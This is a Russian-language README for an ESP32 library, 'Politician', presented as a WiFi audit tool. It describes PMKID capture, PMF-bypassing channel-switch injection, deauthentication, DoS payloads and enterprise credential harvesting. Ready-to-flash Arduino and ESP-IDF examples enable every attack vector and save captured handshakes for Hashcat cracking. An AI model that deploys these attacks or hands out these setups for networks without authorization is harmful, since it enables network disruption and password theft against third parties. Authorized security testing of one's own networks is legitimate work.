
Современная библиотека для аудита WiFi на ESP32, использующая продвинутые техники 802.11. Захватывает рукопожатия WPA/WPA2/WPA3 через извлечение PMKID и инъекцию CSA (в обход PMF). Собирает корпоративные учётные данные, поддерживает двухдиапазонный режим (2.4 ГГц/5 ГГц на ESP32-C6), экспортирует в PCAPNG/Hashcat. Чистый C++ API с 9 примерами.
Продвинутая библиотека для аудита безопасности WiFi на микроконтроллерах ESP32
Politician — это встраиваемая библиотека на C++, предназначенная для аудита безопасности WiFi на платформах ESP32. Она предоставляет чистый, современный API для захвата рукопожатий WPA/WPA2/WPA3 и сбора корпоративных учётных данных с использованием продвинутых методов протокола 802.11.
Библиотека построена на неблокирующем конечном автомате, который управляет переключением каналов, выбором целей, выполнением атак и обработкой захваченных данных. Все операции находятся в пространстве имён politician.
| Компонент | Описание |
|---|---|
Politician | Основной класс движка, управляющий жизненным циклом аудита |
PoliticianFormat | Сериализация захвата в PCAPNG; вспомогательный текстовый экспорт HC22000 |
PoliticianStorage | Опциональное логирование на SD-карту и сохранение в NVS |
PoliticianStress | Отдельная доставка DoS/нарушающих полезных нагрузок (опционально) |
PoliticianTypes | Основные структуры данных и перечисления |
Традиционные атаки деаутентификации неэффективны против современных WPA3 и WPA2 с Protected Management Frames (PMF/802.11w). Politician реализует современные альтернативы:
| Режим | Описание | Эффективность |
|---|---|---|
ATTACK_PMKID | Извлечение PMKID через фиктивную аутентификацию | Работает со всеми WPA2/WPA3-Transition |
ATTACK_CSA | Инъекция Channel Switch Announcement | Обходит защиту PMF |
ATTACK_DEAUTH | Устаревшая деаутентификация (Reason 7) | Только WPA2 без PMF |
ATTACK_STIMULATE | QoS Null Data для спящих клиентов | Неинтрузивное пробуждение клиентов |
ATTACK_PASSIVE | Режим только прослушивания | Нулевая передача |
ATTACK_ALL | Включить все активные векторы атак | Максимальная агрессия |
Добавьте в ваш platformio.ini:```ini
[env:myboard]
platform = espressif32
board = esp32dev
framework = arduino
lib_deps =
Politician
Или клонируйте прямо в директорию `lib/` вашего проекта:```bash
cd lib/
git clone https://github.com/0ldev/Politician.git
Клонируйте репозиторий в каталог components/ вашего проекта:```bash
cd components/
git clone https://github.com/0ldev/Politician.git
Создайте дескриптор компонента `components/Politician/CMakeLists.txt`:```cmake
idf_component_register(
SRCS
"src/Politician.cpp"
"src/PoliticianFormat.cpp"
"src/PoliticianStress.cpp"
INCLUDE_DIRS "src"
)
PoliticianStorage.h недоступен в ESP-IDF — он выдает #error во время компиляции, если включен вне Arduino. Используйте API VFS и nvs_flash из ESP-IDF напрямую для любого необходимого сохранения данных.
#include <Arduino.h> #include <SD.h> #include <Politician.h> #include <PoliticianStorage.h>
using namespace politician; using namespace politician::storage;
Politician engine;
void onHandshake(const HandshakeRecord &rec) { Serial.printf("\n[✓] Captured: %s ch%d rssi=%d type=%d\n", rec.ssid, rec.channel, rec.rssi, rec.type); // Primary output: PCAPNG — open in Wireshark or convert with hcxpcapngtool PcapngFileLogger::append(SD, "/captures.pcapng", rec); }
void setup() { Serial.begin(115200); SD.begin();
engine.setEapolCallback(onHandshake);
Config cfg;
engine.begin(cfg);
engine.setAttackMask(ATTACK_ALL);
}
void loop() { engine.tick(); }
### Быстрый старт с голым ESP-IDF
В ESP-IDF `begin()` внутри вызывает `esp_wifi_init()`, но ожидает, что NVS и цикл событий по умолчанию уже инициализированы. Вызовите их перед `begin()`, затем управляйте движком из задачи FreeRTOS.```cpp
#include <nvs_flash.h>
#include <esp_event.h>
#include <freertos/FreeRTOS.h>
#include <freertos/task.h>
#include <Politician.h>
using namespace politician;
static Politician engine;
static void on_handshake(const HandshakeRecord &rec) {
printf("[+] Captured: %s ch%d rssi=%d type=%d\n",
rec.ssid, rec.channel, rec.rssi, rec.type);
}
static void audit_task(void *) {
Config cfg;
engine.setEapolCallback(on_handshake);
if (engine.begin(cfg) != OK) {
printf("[!] WiFi init failed\n");
vTaskDelete(nullptr);
return;
}
engine.setAttackMask(ATTACK_ALL);
for (;;) {
engine.tick();
vTaskDelay(pdMS_TO_TICKS(1));
}
}
extern "C" void app_main(void) {
nvs_flash_init();
esp_event_loop_create_default();
xTaskCreate(audit_task, "politician", 8192, nullptr, 5, nullptr);
}
Основной класс движка. Необходимо вызывать tick() в вашем главном цикле.
Error begin(const Config& cfg = Config());
Инициализация движка. Возвращает `OK` в случае успеха или код `Error` при ошибке. Должен быть вызван перед любым другим методом.